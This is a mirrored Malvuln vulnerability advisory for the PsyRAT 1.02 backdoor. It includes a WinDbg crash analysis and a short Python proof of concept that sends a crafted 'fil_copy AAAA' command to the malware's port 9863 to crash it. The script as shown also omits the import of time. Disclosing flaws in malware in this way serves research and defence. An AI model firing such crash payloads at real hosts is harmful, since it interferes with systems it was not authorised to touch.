## https://sploitus.com/exploit?id=PACKETSTORM:163667
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5817183894cb513239f6aef28895130c_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.PsyRat.b
Vulnerability: Remote Denial of Service
Description: The PsyRAT 1.02 malware listens by default on TCP port 9863. Third-party attackers who can reach infected systems can send a specially crafted command payload that results in access violation and crash.
Type: PE32
MD5: 5817183894cb513239f6aef28895130c
Vuln ID: MVID-2021-0307
Dropped files: server.exe
Disclosure: 07/26/2021
Memory Dump:
(f38.160c): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=00000001 edx=0277c51c esi=00000003 edi=00000003
eip=77e5ed3c esp=0277bbcc ebp=0277bd5c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!NtWaitForMultipleObjects+0xc:
77e5ed3c c21400 ret 14h
0:001> .ecxr
eax=00000000 ebx=765a38d0 ecx=00000001 edx=0277c51c esi=00000002 edi=0277cd04
eip=77e4f80a esp=0277c508 ebp=0277c50c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
ntdll!RtlInitAnsiStringEx+0x1a:
77e4f80a 8a01 mov al,byte ptr [ecx] ds:002b:00000001=??
*** ERROR: Symbol file could not be found. Defaulted to export symbols for kernel32.dll -
0:001> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for server.exe
*** ERROR: Module load completed but symbols could not be loaded for server.exe
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
ntdll!RtlInitAnsiStringEx+1a
77e4f80a 8a01 mov al,byte ptr [ecx]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 77e4f80a (ntdll!RtlInitAnsiStringEx+0x0000001a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 00000001
Attempt to read from address 00000001
PROCESS_NAME: server.exe
ADDITIONAL_DEBUG_TEXT:
Use '!findthebuild' command to search for the target build information.
If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols.
MODULE_NAME: server
FAULTING_MODULE: 77df0000 ntdll
DEBUG_FLR_IMAGE_TIMESTAMP: 42827767
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 00000001
READ_ADDRESS: 00000001
FOLLOWUP_IP:
server+268d
0040268d e9aaf1ffff jmp server+0x183c (0040183c)
MOD_LIST: <ANALYSIS/>
FAULTING_THREAD: 0000160c
BUGCHECK_STR: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_ONE_BIT_INVALID_POINTER_READ_WRONG_SYMBOLS
PRIMARY_PROBLEM_CLASS: NULL_CLASS_PTR_DEREFERENCE_ONE_BIT
DEFAULT_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_ONE_BIT
LAST_CONTROL_TRANSFER: from 74c615ff to 77e4f80a
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0277c50c 74c615ff 0277c51c 00000001 00000000 ntdll!RtlInitAnsiStringEx+0x1a
0277c528 74c6d9b5 0277c544 00000001 0277d38d kernel32!Basep8BitStringToDynamicUnicodeString+0x1f
0277c54c 0040268d 0277c904 00000001 00000000 kernel32!CopyFileA+0x25
0277c550 0277c904 00000001 00000000 00401610 server+0x268d
0277c554 00000000 00000000 00401610 00401610 0x277c904
STACK_COMMAND: ~1s; .ecxr ; kb
SYMBOL_STACK_INDEX: 3
SYMBOL_NAME: server+268d
FOLLOWUP_NAME: MachineOwner
IMAGE_NAME: server.exe
BUCKET_ID: WRONG_SYMBOLS
FAILURE_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_ONE_BIT_c0000005_server.exe!Unknown
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=9863
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
s.send("\r\n")
time.sleep(0.3)
s.send("\r\n")
time.sleep(0.3)
PAYLOAD="fil_copy AAAA"
s.send(PAYLOAD)
s.close()
print("Backdoor.Win32.PsyRat.b / Remote Denial of Service")
print("MD5: 5817183894cb513239f6aef28895130c")
print("By Malvuln")
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